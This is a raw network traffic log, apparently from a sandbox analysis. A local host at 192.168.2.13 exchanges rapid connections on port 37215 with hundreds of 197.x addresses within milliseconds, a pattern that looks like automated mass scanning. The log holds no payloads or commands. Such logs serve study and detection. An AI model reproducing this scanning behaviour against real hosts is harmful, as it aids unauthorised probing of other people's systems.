Oct 29, 2024 20:52:38.004971027 CET	37215	56342	197.176.33.243	192.168.2.13
Oct 29, 2024 20:52:38.004981041 CET	37215	56342	197.157.75.10	192.168.2.13
Oct 29, 2024 20:52:38.004991055 CET	37215	56342	197.67.34.25	192.168.2.13
Oct 29, 2024 20:52:38.004996061 CET	37215	56342	197.72.212.69	192.168.2.13
Oct 29, 2024 20:52:38.005000114 CET	37215	56342	197.103.124.224	192.168.2.13
Oct 29, 2024 20:52:38.005009890 CET	56342	37215	192.168.2.13	197.227.102.38
Oct 29, 2024 20:52:38.005012989 CET	37215	56342	197.20.141.51	192.168.2.13
Oct 29, 2024 20:52:38.005017042 CET	56342	37215	192.168.2.13	197.157.75.10
Oct 29, 2024 20:52:38.005023003 CET	56342	37215	192.168.2.13	197.176.33.243
Oct 29, 2024 20:52:38.005023956 CET	37215	56342	197.27.2.81	192.168.2.13
Oct 29, 2024 20:52:38.005028009 CET	56342	37215	192.168.2.13	197.103.124.224
Oct 29, 2024 20:52:38.005033970 CET	37215	56342	197.58.85.58	192.168.2.13
Oct 29, 2024 20:52:38.005034924 CET	56342	37215	192.168.2.13	197.72.212.69
Oct 29, 2024 20:52:38.005038023 CET	56342	37215	192.168.2.13	197.67.34.25
Oct 29, 2024 20:52:38.005047083 CET	37215	56342	197.125.60.143	192.168.2.13
Oct 29, 2024 20:52:38.005059958 CET	37215	56342	197.20.183.134	192.168.2.13
Oct 29, 2024 20:52:38.005074024 CET	37215	56342	197.193.82.48	192.168.2.13
Oct 29, 2024 20:52:38.005079985 CET	37215	56342	197.78.100.78	192.168.2.13
Oct 29, 2024 20:52:38.005083084 CET	37215	56342	197.61.144.176	192.168.2.13
Oct 29, 2024 20:52:38.005085945 CET	37215	56342	197.75.251.41	192.168.2.13
Oct 29, 2024 20:52:38.005090952 CET	37215	56342	197.238.217.234	192.168.2.13
Oct 29, 2024 20:52:38.005090952 CET	56342	37215	192.168.2.13	197.125.60.143
Oct 29, 2024 20:52:38.005091906 CET	56342	37215	192.168.2.13	197.20.141.51
Oct 29, 2024 20:52:38.005095005 CET	37215	56342	197.36.244.219	192.168.2.13
Oct 29, 2024 20:52:38.005095005 CET	56342	37215	192.168.2.13	197.20.183.134
Oct 29, 2024 20:52:38.005096912 CET	56342	37215	192.168.2.13	197.27.2.81
Oct 29, 2024 20:52:38.005100012 CET	37215	56342	197.153.19.143	192.168.2.13
Oct 29, 2024 20:52:38.005119085 CET	37215	56342	197.62.242.98	192.168.2.13
Oct 29, 2024 20:52:38.005124092 CET	37215	56342	197.162.232.23	192.168.2.13
Oct 29, 2024 20:52:38.005125046 CET	37215	56342	197.22.18.13	192.168.2.13
Oct 29, 2024 20:52:38.005129099 CET	56342	37215	192.168.2.13	197.75.251.41
Oct 29, 2024 20:52:38.005130053 CET	37215	56342	197.119.27.79	192.168.2.13
Oct 29, 2024 20:52:38.005131960 CET	56342	37215	192.168.2.13	197.58.85.58
Oct 29, 2024 20:52:38.005136013 CET	37215	56342	197.174.79.45	192.168.2.13
Oct 29, 2024 20:52:38.005141020 CET	56342	37215	192.168.2.13	197.61.144.176
Oct 29, 2024 20:52:38.005141973 CET	37215	56342	197.84.98.117	192.168.2.13
Oct 29, 2024 20:52:38.005143881 CET	37215	56342	197.15.109.5	192.168.2.13
Oct 29, 2024 20:52:38.005148888 CET	37215	56342	197.104.205.72	192.168.2.13
Oct 29, 2024 20:52:38.005151033 CET	37215	56342	197.125.166.82	192.168.2.13
Oct 29, 2024 20:52:38.005151033 CET	56342	37215	192.168.2.13	197.36.244.219
Oct 29, 2024 20:52:38.005151987 CET	37215	56342	197.232.133.202	192.168.2.13
Oct 29, 2024 20:52:38.005166054 CET	56342	37215	192.168.2.13	197.193.82.48
Oct 29, 2024 20:52:38.005175114 CET	56342	37215	192.168.2.13	197.78.100.78
Oct 29, 2024 20:52:38.005176067 CET	56342	37215	192.168.2.13	197.238.217.234
Oct 29, 2024 20:52:38.005179882 CET	56342	37215	192.168.2.13	197.162.232.23
Oct 29, 2024 20:52:38.005182028 CET	56342	37215	192.168.2.13	197.84.98.117
Oct 29, 2024 20:52:38.005189896 CET	56342	37215	192.168.2.13	197.62.242.98
Oct 29, 2024 20:52:38.005191088 CET	56342	37215	192.168.2.13	197.153.19.143
Oct 29, 2024 20:52:38.005192041 CET	56342	37215	192.168.2.13	197.104.205.72
Oct 29, 2024 20:52:38.005192041 CET	56342	37215	192.168.2.13	197.119.27.79
Oct 29, 2024 20:52:38.005192041 CET	56342	37215	192.168.2.13	197.125.166.82
Oct 29, 2024 20:52:38.005199909 CET	56342	37215	192.168.2.13	197.22.18.13
Oct 29, 2024 20:52:38.005203009 CET	56342	37215	192.168.2.13	197.174.79.45
Oct 29, 2024 20:52:38.005213976 CET	56342	37215	192.168.2.13	197.232.133.202
Oct 29, 2024 20:52:38.005223989 CET	56342	37215	192.168.2.13	197.15.109.5
Oct 29, 2024 20:52:38.006052971 CET	56342	37215	192.168.2.13	197.235.199.38
Oct 29, 2024 20:52:38.006076097 CET	56342	37215	192.168.2.13	197.117.170.246
Oct 29, 2024 20:52:38.006093979 CET	56342	37215	192.168.2.13	197.78.20.163
Oct 29, 2024 20:52:38.006167889 CET	56342	37215	192.168.2.13	197.130.144.64
Oct 29, 2024 20:52:38.006203890 CET	37215	56342	197.175.180.229	192.168.2.13
Oct 29, 2024 20:52:38.006206036 CET	56342	37215	192.168.2.13	197.200.27.247
Oct 29, 2024 20:52:38.006206036 CET	56342	37215	192.168.2.13	197.78.196.241
Oct 29, 2024 20:52:38.006211042 CET	56342	37215	192.168.2.13	197.121.205.92
Oct 29, 2024 20:52:38.006217957 CET	37215	56342	197.141.38.251	192.168.2.13
Oct 29, 2024 20:52:38.006246090 CET	56342	37215	192.168.2.13	197.175.180.229
Oct 29, 2024 20:52:38.006247997 CET	56342	37215	192.168.2.13	197.176.140.184
Oct 29, 2024 20:52:38.006247997 CET	56342	37215	192.168.2.13	197.141.38.251
Oct 29, 2024 20:52:38.006325960 CET	56342	37215	192.168.2.13	197.44.48.43
Oct 29, 2024 20:52:38.006330967 CET	56342	37215	192.168.2.13	197.179.219.102
Oct 29, 2024 20:52:38.006356001 CET	56342	37215	192.168.2.13	197.237.179.83
Oct 29, 2024 20:52:38.006361008 CET	37215	56342	197.222.40.41	192.168.2.13
Oct 29, 2024 20:52:38.006372929 CET	37215	56342	197.44.169.8	192.168.2.13
Oct 29, 2024 20:52:38.006382942 CET	37215	56342	197.94.208.161	192.168.2.13
Oct 29, 2024 20:52:38.006382942 CET	56342	37215	192.168.2.13	197.150.216.3
Oct 29, 2024 20:52:38.006386995 CET	37215	56342	197.72.103.105	192.168.2.13
Oct 29, 2024 20:52:38.006395102 CET	56342	37215	192.168.2.13	197.222.40.41
Oct 29, 2024 20:52:38.006406069 CET	37215	56342	197.48.29.21	192.168.2.13
Oct 29, 2024 20:52:38.006411076 CET	37215	56342	197.63.101.72	192.168.2.13
Oct 29, 2024 20:52:38.006416082 CET	56342	37215	192.168.2.13	197.243.51.19
Oct 29, 2024 20:52:38.006417036 CET	37215	56342	197.161.223.8	192.168.2.13
Oct 29, 2024 20:52:38.006422997 CET	56342	37215	192.168.2.13	197.44.169.8
Oct 29, 2024 20:52:38.006433964 CET	37215	56342	197.174.58.204	192.168.2.13
Oct 29, 2024 20:52:38.006445885 CET	37215	56342	197.254.241.184	192.168.2.13
Oct 29, 2024 20:52:38.006454945 CET	37215	56342	197.40.215.134	192.168.2.13
Oct 29, 2024 20:52:38.006455898 CET	56342	37215	192.168.2.13	197.63.101.72
Oct 29, 2024 20:52:38.006455898 CET	56342	37215	192.168.2.13	197.111.74.126
Oct 29, 2024 20:52:38.006459951 CET	56342	37215	192.168.2.13	197.161.223.8
Oct 29, 2024 20:52:38.006469011 CET	56342	37215	192.168.2.13	197.94.208.161
Oct 29, 2024 20:52:38.006469011 CET	56342	37215	192.168.2.13	197.72.103.105
Oct 29, 2024 20:52:38.006481886 CET	56342	37215	192.168.2.13	197.40.215.134
Oct 29, 2024 20:52:38.006483078 CET	56342	37215	192.168.2.13	197.254.241.184
Oct 29, 2024 20:52:38.006494045 CET	56342	37215	192.168.2.13	197.123.0.26
Oct 29, 2024 20:52:38.006509066 CET	56342	37215	192.168.2.13	197.174.58.204
Oct 29, 2024 20:52:38.006536007 CET	56342	37215	192.168.2.13	197.48.29.21
Oct 29, 2024 20:52:38.006560087 CET	56342	37215	192.168.2.13	197.203.175.209
Oct 29, 2024 20:52:38.006562948 CET	56342	37215	192.168.2.13	197.251.185.207
Oct 29, 2024 20:52:38.006581068 CET	56342	37215	192.168.2.13	197.180.225.224
Oct 29, 2024 20:52:38.006597042 CET	56342	37215	192.168.2.13	197.15.25.206
Oct 29, 2024 20:52:38.006616116 CET	56342	37215	192.168.2.13	197.149.3.204
Oct 29, 2024 20:52:38.006617069 CET	37215	56342	197.82.38.233	192.168.2.13
Oct 29, 2024 20:52:38.006633043 CET	37215	56342	197.224.114.42	192.168.2.13
Oct 29, 2024 20:52:38.006638050 CET	56342	37215	192.168.2.13	197.79.154.24
Oct 29, 2024 20:52:38.006660938 CET	56342	37215	192.168.2.13	197.82.38.233
Oct 29, 2024 20:52:38.006661892 CET	56342	37215	192.168.2.13	197.126.50.179
Oct 29, 2024 20:52:38.006711006 CET	56342	37215	192.168.2.13	197.224.114.42
Oct 29, 2024 20:52:38.006711960 CET	56342	37215	192.168.2.13	197.128.24.21
Oct 29, 2024 20:52:38.006714106 CET	56342	37215	192.168.2.13	197.50.200.236
Oct 29, 2024 20:52:38.006720066 CET	56342	37215	192.168.2.13	197.101.26.3
Oct 29, 2024 20:52:38.006757021 CET	37215	56342	197.250.165.168	192.168.2.13
Oct 29, 2024 20:52:38.006768942 CET	56342	37215	192.168.2.13	197.88.156.31
Oct 29, 2024 20:52:38.006771088 CET	37215	56342	197.154.91.203	192.168.2.13
Oct 29, 2024 20:52:38.006788015 CET	56342	37215	192.168.2.13	197.188.51.144
Oct 29, 2024 20:52:38.006788015 CET	56342	37215	192.168.2.13	197.56.207.94
Oct 29, 2024 20:52:38.006798029 CET	56342	37215	192.168.2.13	197.250.165.168
Oct 29, 2024 20:52:38.006874084 CET	56342	37215	192.168.2.13	197.154.91.203
Oct 29, 2024 20:52:38.006874084 CET	56342	37215	192.168.2.13	197.118.218.145
Oct 29, 2024 20:52:38.006880045 CET	56342	37215	192.168.2.13	197.55.81.16
Oct 29, 2024 20:52:38.006901026 CET	56342	37215	192.168.2.13	197.231.175.200
Oct 29, 2024 20:52:38.006918907 CET	56342	37215	192.168.2.13	197.189.116.196
Oct 29, 2024 20:52:38.006925106 CET	37215	56342	197.84.161.177	192.168.2.13
Oct 29, 2024 20:52:38.006938934 CET	37215	56342	197.134.32.72	192.168.2.13
Oct 29, 2024 20:52:38.006949902 CET	37215	56342	197.186.206.62	192.168.2.13
Oct 29, 2024 20:52:38.006959915 CET	37215	56342	197.197.68.118	192.168.2.13
Oct 29, 2024 20:52:38.006963968 CET	37215	56342	197.183.11.72	192.168.2.13
Oct 29, 2024 20:52:38.006963968 CET	56342	37215	192.168.2.13	197.137.219.11
Oct 29, 2024 20:52:38.006973982 CET	56342	37215	192.168.2.13	197.203.244.146
Oct 29, 2024 20:52:38.006973982 CET	56342	37215	192.168.2.13	197.134.32.72
Oct 29, 2024 20:52:38.006977081 CET	56342	37215	192.168.2.13	197.186.206.62
Oct 29, 2024 20:52:38.006973982 CET	56342	37215	192.168.2.13	197.84.161.177
Oct 29, 2024 20:52:38.006987095 CET	37215	56342	197.206.189.198	192.168.2.13
Oct 29, 2024 20:52:38.006990910 CET	37215	56342	197.253.150.43	192.168.2.13
Oct 29, 2024 20:52:38.007020950 CET	56342	37215	192.168.2.13	197.183.11.72
Oct 29, 2024 20:52:38.007029057 CET	56342	37215	192.168.2.13	197.206.189.198
Oct 29, 2024 20:52:38.007038116 CET	56342	37215	192.168.2.13	197.197.68.118
Oct 29, 2024 20:52:38.007064104 CET	56342	37215	192.168.2.13	197.253.150.43
Oct 29, 2024 20:52:38.007070065 CET	56342	37215	192.168.2.13	197.211.18.190
Oct 29, 2024 20:52:38.007070065 CET	56342	37215	192.168.2.13	197.157.32.107
Oct 29, 2024 20:52:38.007076025 CET	56342	37215	192.168.2.13	197.251.26.119
Oct 29, 2024 20:52:38.007164955 CET	37215	56342	197.143.247.239	192.168.2.13
Oct 29, 2024 20:52:38.007174969 CET	37215	56342	197.21.53.53	192.168.2.13
Oct 29, 2024 20:52:38.007184982 CET	37215	56342	197.93.148.232	192.168.2.13
Oct 29, 2024 20:52:38.007195950 CET	37215	56342	197.189.215.204	192.168.2.13
Oct 29, 2024 20:52:38.007208109 CET	37215	56342	197.245.250.35	192.168.2.13
Oct 29, 2024 20:52:38.007217884 CET	56342	37215	192.168.2.13	197.143.247.239
Oct 29, 2024 20:52:38.007219076 CET	56342	37215	192.168.2.13	197.21.53.53
Oct 29, 2024 20:52:38.007220984 CET	56342	37215	192.168.2.13	197.93.148.232
Oct 29, 2024 20:52:38.007230043 CET	56342	37215	192.168.2.13	197.189.215.204
Oct 29, 2024 20:52:38.007237911 CET	56342	37215	192.168.2.13	197.245.250.35
Oct 29, 2024 20:52:38.010185957 CET	37215	56342	197.5.132.46	192.168.2.13
Oct 29, 2024 20:52:38.010205030 CET	37215	56342	197.140.16.32	192.168.2.13
Oct 29, 2024 20:52:38.010216951 CET	37215	56342	197.2.190.187	192.168.2.13
Oct 29, 2024 20:52:38.010220051 CET	37215	56342	197.33.166.216	192.168.2.13
Oct 29, 2024 20:52:38.010232925 CET	37215	56342	197.123.48.178	192.168.2.13
Oct 29, 2024 20:52:38.010236979 CET	56342	37215	192.168.2.13	197.5.132.46
Oct 29, 2024 20:52:38.010237932 CET	56342	37215	192.168.2.13	197.140.16.32
Oct 29, 2024 20:52:38.010243893 CET	37215	56342	197.71.165.242	192.168.2.13
Oct 29, 2024 20:52:38.010253906 CET	37215	56342	197.67.160.172	192.168.2.13
Oct 29, 2024 20:52:38.010261059 CET	56342	37215	192.168.2.13	197.2.190.187
Oct 29, 2024 20:52:38.010263920 CET	56342	37215	192.168.2.13	197.33.166.216
Oct 29, 2024 20:52:38.010265112 CET	37215	56342	197.185.158.42	192.168.2.13
Oct 29, 2024 20:52:38.010274887 CET	37215	56342	197.145.122.216	192.168.2.13
Oct 29, 2024 20:52:38.010281086 CET	37215	56342	197.163.239.204	192.168.2.13
Oct 29, 2024 20:52:38.010293007 CET	56342	37215	192.168.2.13	197.71.165.242
Oct 29, 2024 20:52:38.010293961 CET	56342	37215	192.168.2.13	197.123.48.178
Oct 29, 2024 20:52:38.010308981 CET	37215	56342	197.171.251.64	192.168.2.13
Oct 29, 2024 20:52:38.010318995 CET	37215	56342	197.61.227.3	192.168.2.13
Oct 29, 2024 20:52:38.010329008 CET	37215	56342	197.147.130.149	192.168.2.13
Oct 29, 2024 20:52:38.010345936 CET	56342	37215	192.168.2.13	197.67.160.172
Oct 29, 2024 20:52:38.010354042 CET	56342	37215	192.168.2.13	197.185.158.42
Oct 29, 2024 20:52:38.010354996 CET	56342	37215	192.168.2.13	197.145.122.216
Oct 29, 2024 20:52:38.010355949 CET	56342	37215	192.168.2.13	197.61.227.3
Oct 29, 2024 20:52:38.010356903 CET	56342	37215	192.168.2.13	197.171.251.64
Oct 29, 2024 20:52:38.010359049 CET	56342	37215	192.168.2.13	197.163.239.204
Oct 29, 2024 20:52:38.010363102 CET	37215	56342	197.88.150.253	192.168.2.13
Oct 29, 2024 20:52:38.010374069 CET	37215	56342	197.64.43.119	192.168.2.13
Oct 29, 2024 20:52:38.010385990 CET	37215	56342	197.154.48.66	192.168.2.13
Oct 29, 2024 20:52:38.010391951 CET	56342	37215	192.168.2.13	197.147.130.149
Oct 29, 2024 20:52:38.010397911 CET	37215	56342	197.172.55.26	192.168.2.13
Oct 29, 2024 20:52:38.010404110 CET	37215	56342	197.114.13.166	192.168.2.13
Oct 29, 2024 20:52:38.010404110 CET	56342	37215	192.168.2.13	197.88.150.253
Oct 29, 2024 20:52:38.010409117 CET	37215	56342	197.125.41.102	192.168.2.13
Oct 29, 2024 20:52:38.010411978 CET	37215	56342	197.149.94.181	192.168.2.13
Oct 29, 2024 20:52:38.010413885 CET	56342	37215	192.168.2.13	197.64.43.119
Oct 29, 2024 20:52:38.010416031 CET	56342	37215	192.168.2.13	197.154.48.66
Oct 29, 2024 20:52:38.010423899 CET	37215	56342	197.90.162.172	192.168.2.13
Oct 29, 2024 20:52:38.010432959 CET	56342	37215	192.168.2.13	197.172.55.26
Oct 29, 2024 20:52:38.010437012 CET	37215	56342	197.105.13.224	192.168.2.13
Oct 29, 2024 20:52:38.010447025 CET	37215	56342	197.23.56.133	192.168.2.13
Oct 29, 2024 20:52:38.010452986 CET	56342	37215	192.168.2.13	197.114.13.166
Oct 29, 2024 20:52:38.010457039 CET	37215	56342	197.66.98.156	192.168.2.13
Oct 29, 2024 20:52:38.010474920 CET	37215	56342	197.100.167.241	192.168.2.13
Oct 29, 2024 20:52:38.010479927 CET	37215	56342	197.26.246.13	192.168.2.13
Oct 29, 2024 20:52:38.010484934 CET	37215	56342	197.247.6.61	192.168.2.13
Oct 29, 2024 20:52:38.010487080 CET	56342	37215	192.168.2.13	197.90.162.172
Oct 29, 2024 20:52:38.010489941 CET	37215	56342	197.234.179.44	192.168.2.13
Oct 29, 2024 20:52:38.010493040 CET	56342	37215	192.168.2.13	197.105.13.224
Oct 29, 2024 20:52:38.010499001 CET	56342	37215	192.168.2.13	197.149.94.181
Oct 29, 2024 20:52:38.010499001 CET	56342	37215	192.168.2.13	197.100.167.241
Oct 29, 2024 20:52:38.010533094 CET	56342	37215	192.168.2.13	197.125.41.102
Oct 29, 2024 20:52:38.010533094 CET	56342	37215	192.168.2.13	197.23.56.133
Oct 29, 2024 20:52:38.010533094 CET	56342	37215	192.168.2.13	197.66.98.156
Oct 29, 2024 20:52:38.010536909 CET	56342	37215	192.168.2.13	197.234.179.44
Oct 29, 2024 20:52:38.010538101 CET	56342	37215	192.168.2.13	197.26.246.13
Oct 29, 2024 20:52:38.010538101 CET	56342	37215	192.168.2.13	197.247.6.61
Oct 29, 2024 20:52:38.010791063 CET	37215	56342	197.3.51.113	192.168.2.13
Oct 29, 2024 20:52:38.010833025 CET	37215	56342	197.131.116.90	192.168.2.13
Oct 29, 2024 20:52:38.010844946 CET	37215	56342	197.70.245.231	192.168.2.13
Oct 29, 2024 20:52:38.010857105 CET	37215	56342	197.148.49.164	192.168.2.13
Oct 29, 2024 20:52:38.010879040 CET	37215	56342	197.128.243.234	192.168.2.13
Oct 29, 2024 20:52:38.010883093 CET	56342	37215	192.168.2.13	197.70.245.231
Oct 29, 2024 20:52:38.010883093 CET	56342	37215	192.168.2.13	197.3.51.113
Oct 29, 2024 20:52:38.010884047 CET	37215	56342	197.1.115.138	192.168.2.13
Oct 29, 2024 20:52:38.010884047 CET	56342	37215	192.168.2.13	197.131.116.90
Oct 29, 2024 20:52:38.010889053 CET	37215	56342	197.34.245.164	192.168.2.13
Oct 29, 2024 20:52:38.010895014 CET	37215	56342	197.237.156.86	192.168.2.13
Oct 29, 2024 20:52:38.010896921 CET	56342	37215	192.168.2.13	197.148.49.164
Oct 29, 2024 20:52:38.010907888 CET	37215	56342	197.22.128.238	192.168.2.13
Oct 29, 2024 20:52:38.010917902 CET	37215	56342	197.69.142.211	192.168.2.13
Oct 29, 2024 20:52:38.010929108 CET	37215	56342	197.175.186.91	192.168.2.13
Oct 29, 2024 20:52:38.010934114 CET	56342	37215	192.168.2.13	197.237.156.86
Oct 29, 2024 20:52:38.010941029 CET	37215	56342	197.96.10.152	192.168.2.13
Oct 29, 2024 20:52:38.010943890 CET	56342	37215	192.168.2.13	197.128.243.234
Oct 29, 2024 20:52:38.010946989 CET	56342	37215	192.168.2.13	197.1.115.138
Oct 29, 2024 20:52:38.010946989 CET	56342	37215	192.168.2.13	197.34.245.164
Oct 29, 2024 20:52:38.010952950 CET	37215	56342	197.190.182.202	192.168.2.13
Oct 29, 2024 20:52:38.010963917 CET	56342	37215	192.168.2.13	197.22.128.238
Oct 29, 2024 20:52:38.010965109 CET	37215	56342	197.186.244.5	192.168.2.13
Oct 29, 2024 20:52:38.010966063 CET	56342	37215	192.168.2.13	197.69.142.211
Oct 29, 2024 20:52:38.010978937 CET	56342	37215	192.168.2.13	197.175.186.91
Oct 29, 2024 20:52:38.010984898 CET	37215	56342	197.139.97.23	192.168.2.13
Oct 29, 2024 20:52:38.010994911 CET	56342	37215	192.168.2.13	197.96.10.152
Oct 29, 2024 20:52:38.010996103 CET	56342	37215	192.168.2.13	197.186.244.5
Oct 29, 2024 20:52:38.011003971 CET	56342	37215	192.168.2.13	197.190.182.202
Oct 29, 2024 20:52:38.011008978 CET	37215	56342	197.74.194.72	192.168.2.13
Oct 29, 2024 20:52:38.011019945 CET	37215	56342	197.79.36.199	192.168.2.13
Oct 29, 2024 20:52:38.011029959 CET	37215	56342	197.157.230.243	192.168.2.13
Oct 29, 2024 20:52:38.011042118 CET	37215	56342	197.169.143.192	192.168.2.13
Oct 29, 2024 20:52:38.011053085 CET	37215	56342	197.101.145.76	192.168.2.13
Oct 29, 2024 20:52:38.011063099 CET	37215	56342	197.20.157.126	192.168.2.13
Oct 29, 2024 20:52:38.011073112 CET	37215	56342	197.213.247.174	192.168.2.13
Oct 29, 2024 20:52:38.011075020 CET	56342	37215	192.168.2.13	197.74.194.72
Oct 29, 2024 20:52:38.011075020 CET	56342	37215	192.168.2.13	197.79.36.199
Oct 29, 2024 20:52:38.011081934 CET	56342	37215	192.168.2.13	197.139.97.23
Oct 29, 2024 20:52:38.011082888 CET	37215	56342	197.170.191.14	192.168.2.13
Oct 29, 2024 20:52:38.011084080 CET	56342	37215	192.168.2.13	197.101.145.76
Oct 29, 2024 20:52:38.011095047 CET	37215	56342	197.245.57.241	192.168.2.13
Oct 29, 2024 20:52:38.011101007 CET	56342	37215	192.168.2.13	197.20.157.126
Oct 29, 2024 20:52:38.011106014 CET	56342	37215	192.168.2.13	197.169.143.192
Oct 29, 2024 20:52:38.011111021 CET	56342	37215	192.168.2.13	197.213.247.174
Oct 29, 2024 20:52:38.011116028 CET	37215	56342	197.226.32.137	192.168.2.13
Oct 29, 2024 20:52:38.011117935 CET	56342	37215	192.168.2.13	197.170.191.14
Oct 29, 2024 20:52:38.011130095 CET	37215	56342	197.244.69.115	192.168.2.13
Oct 29, 2024 20:52:38.011140108 CET	37215	56342	197.163.85.203	192.168.2.13
Oct 29, 2024 20:52:38.011141062 CET	56342	37215	192.168.2.13	197.157.230.243
Oct 29, 2024 20:52:38.011142015 CET	56342	37215	192.168.2.13	197.245.57.241
Oct 29, 2024 20:52:38.011151075 CET	37215	56342	197.203.107.151	192.168.2.13
Oct 29, 2024 20:52:38.011183023 CET	56342	37215	192.168.2.13	197.163.85.203
Oct 29, 2024 20:52:38.011185884 CET	56342	37215	192.168.2.13	197.226.32.137
Oct 29, 2024 20:52:38.011185884 CET	56342	37215	192.168.2.13	197.203.107.151
Oct 29, 2024 20:52:38.011194944 CET	56342	37215	192.168.2.13	197.244.69.115
Oct 29, 2024 20:52:38.011205912 CET	37215	56342	197.24.63.62	192.168.2.13
Oct 29, 2024 20:52:38.011347055 CET	56342	37215	192.168.2.13	197.24.63.62
Oct 29, 2024 20:52:38.011399984 CET	37215	56342	197.235.199.38	192.168.2.13
Oct 29, 2024 20:52:38.011435986 CET	37215	56342	197.78.20.163	192.168.2.13
Oct 29, 2024 20:52:38.011466980 CET	56342	37215	192.168.2.13	197.235.199.38
Oct 29, 2024 20:52:38.011476040 CET	37215	56342	197.117.170.246	192.168.2.13
Oct 29, 2024 20:52:38.011481047 CET	56342	37215	192.168.2.13	197.78.20.163
Oct 29, 2024 20:52:38.011493921 CET	37215	56342	197.130.144.64	192.168.2.13
Oct 29, 2024 20:52:38.011512995 CET	56342	37215	192.168.2.13	197.117.170.246
Oct 29, 2024 20:52:38.011547089 CET	56342	37215	192.168.2.13	197.130.144.64
Oct 29, 2024 20:52:38.011611938 CET	37215	56342	197.200.27.247	192.168.2.13
Oct 29, 2024 20:52:38.011621952 CET	37215	56342	197.121.205.92	192.168.2.13
Oct 29, 2024 20:52:38.011632919 CET	37215	56342	197.78.196.241	192.168.2.13
Oct 29, 2024 20:52:38.011642933 CET	37215	56342	197.176.140.184	192.168.2.13
Oct 29, 2024 20:52:38.011658907 CET	56342	37215	192.168.2.13	197.200.27.247
Oct 29, 2024 20:52:38.011665106 CET	56342	37215	192.168.2.13	197.121.205.92
Oct 29, 2024 20:52:38.011683941 CET	56342	37215	192.168.2.13	197.78.196.241
Oct 29, 2024 20:52:38.011686087 CET	56342	37215	192.168.2.13	197.176.140.184
Oct 29, 2024 20:52:38.012047052 CET	37215	56342	197.44.48.43	192.168.2.13
Oct 29, 2024 20:52:38.012069941 CET	37215	56342	197.179.219.102	192.168.2.13
Oct 29, 2024 20:52:38.012080908 CET	37215	56342	197.237.179.83	192.168.2.13
Oct 29, 2024 20:52:38.012088060 CET	37215	56342	197.150.216.3	192.168.2.13
Oct 29, 2024 20:52:38.012111902 CET	37215	56342	197.243.51.19	192.168.2.13
Oct 29, 2024 20:52:38.012142897 CET	56342	37215	192.168.2.13	197.44.48.43
Oct 29, 2024 20:52:38.012157917 CET	56342	37215	192.168.2.13	197.237.179.83
Oct 29, 2024 20:52:38.012157917 CET	56342	37215	192.168.2.13	197.150.216.3
Oct 29, 2024 20:52:38.012157917 CET	56342	37215	192.168.2.13	197.243.51.19
Oct 29, 2024 20:52:38.012168884 CET	56342	37215	192.168.2.13	197.179.219.102
Oct 29, 2024 20:52:38.012185097 CET	37215	56342	197.111.74.126	192.168.2.13
Oct 29, 2024 20:52:38.012197971 CET	37215	56342	197.123.0.26	192.168.2.13
Oct 29, 2024 20:52:38.012207031 CET	37215	56342	197.203.175.209	192.168.2.13
Oct 29, 2024 20:52:38.012217999 CET	37215	56342	197.251.185.207	192.168.2.13
Oct 29, 2024 20:52:38.012233019 CET	56342	37215	192.168.2.13	197.111.74.126
Oct 29, 2024 20:52:38.012233019 CET	56342	37215	192.168.2.13	197.123.0.26
Oct 29, 2024 20:52:38.012239933 CET	37215	56342	197.180.225.224	192.168.2.13
Oct 29, 2024 20:52:38.012245893 CET	56342	37215	192.168.2.13	197.203.175.209
Oct 29, 2024 20:52:38.012253046 CET	37215	56342	197.15.25.206	192.168.2.13
Oct 29, 2024 20:52:38.012259007 CET	56342	37215	192.168.2.13	197.251.185.207
Oct 29, 2024 20:52:38.012260914 CET	37215	56342	197.149.3.204	192.168.2.13
Oct 29, 2024 20:52:38.012268066 CET	37215	56342	197.79.154.24	192.168.2.13
Oct 29, 2024 20:52:38.012273073 CET	37215	56342	197.126.50.179	192.168.2.13
Oct 29, 2024 20:52:38.012296915 CET	56342	37215	192.168.2.13	197.180.225.224
Oct 29, 2024 20:52:38.012300014 CET	56342	37215	192.168.2.13	197.15.25.206
Oct 29, 2024 20:52:38.012300014 CET	56342	37215	192.168.2.13	197.149.3.204
Oct 29, 2024 20:52:38.012312889 CET	56342	37215	192.168.2.13	197.126.50.179
Oct 29, 2024 20:52:38.012325048 CET	56342	37215	192.168.2.13	197.79.154.24
Oct 29, 2024 20:52:38.012563944 CET	37215	56342	197.128.24.21	192.168.2.13
Oct 29, 2024 20:52:38.012574911 CET	37215	56342	197.50.200.236	192.168.2.13
Oct 29, 2024 20:52:38.012583971 CET	37215	56342	197.101.26.3	192.168.2.13
Oct 29, 2024 20:52:38.012600899 CET	37215	56342	197.88.156.31	192.168.2.13
Oct 29, 2024 20:52:38.012608051 CET	56342	37215	192.168.2.13	197.50.200.236
Oct 29, 2024 20:52:38.012609959 CET	56342	37215	192.168.2.13	197.128.24.21
Oct 29, 2024 20:52:38.012612104 CET	37215	56342	197.188.51.144	192.168.2.13
Oct 29, 2024 20:52:38.012615919 CET	56342	37215	192.168.2.13	197.101.26.3
Oct 29, 2024 20:52:38.012624979 CET	37215	56342	197.56.207.94	192.168.2.13
Oct 29, 2024 20:52:38.012629032 CET	56342	37215	192.168.2.13	197.88.156.31
Oct 29, 2024 20:52:38.012634993 CET	37215	56342	197.118.218.145	192.168.2.13
Oct 29, 2024 20:52:38.012645960 CET	37215	56342	197.55.81.16	192.168.2.13
Oct 29, 2024 20:52:38.012654066 CET	56342	37215	192.168.2.13	197.188.51.144
Oct 29, 2024 20:52:38.012654066 CET	56342	37215	192.168.2.13	197.56.207.94
Oct 29, 2024 20:52:38.012676001 CET	37215	56342	197.231.175.200	192.168.2.13
Oct 29, 2024 20:52:38.012686014 CET	37215	56342	197.189.116.196	192.168.2.13
Oct 29, 2024 20:52:38.012696028 CET	37215	56342	197.137.219.11	192.168.2.13
Oct 29, 2024 20:52:38.012706995 CET	37215	56342	197.203.244.146	192.168.2.13
Oct 29, 2024 20:52:38.012717962 CET	37215	56342	197.211.18.190	192.168.2.13
Oct 29, 2024 20:52:38.012728930 CET	37215	56342	197.157.32.107	192.168.2.13
Oct 29, 2024 20:52:38.012736082 CET	56342	37215	192.168.2.13	197.231.175.200
Oct 29, 2024 20:52:38.012736082 CET	56342	37215	192.168.2.13	197.137.219.11
Oct 29, 2024 20:52:38.012738943 CET	56342	37215	192.168.2.13	197.55.81.16
Oct 29, 2024 20:52:38.012738943 CET	37215	56342	197.251.26.119	192.168.2.13
Oct 29, 2024 20:52:38.012738943 CET	56342	37215	192.168.2.13	197.189.116.196
Oct 29, 2024 20:52:38.012759924 CET	56342	37215	192.168.2.13	197.118.218.145
Oct 29, 2024 20:52:38.012765884 CET	56342	37215	192.168.2.13	197.251.26.119
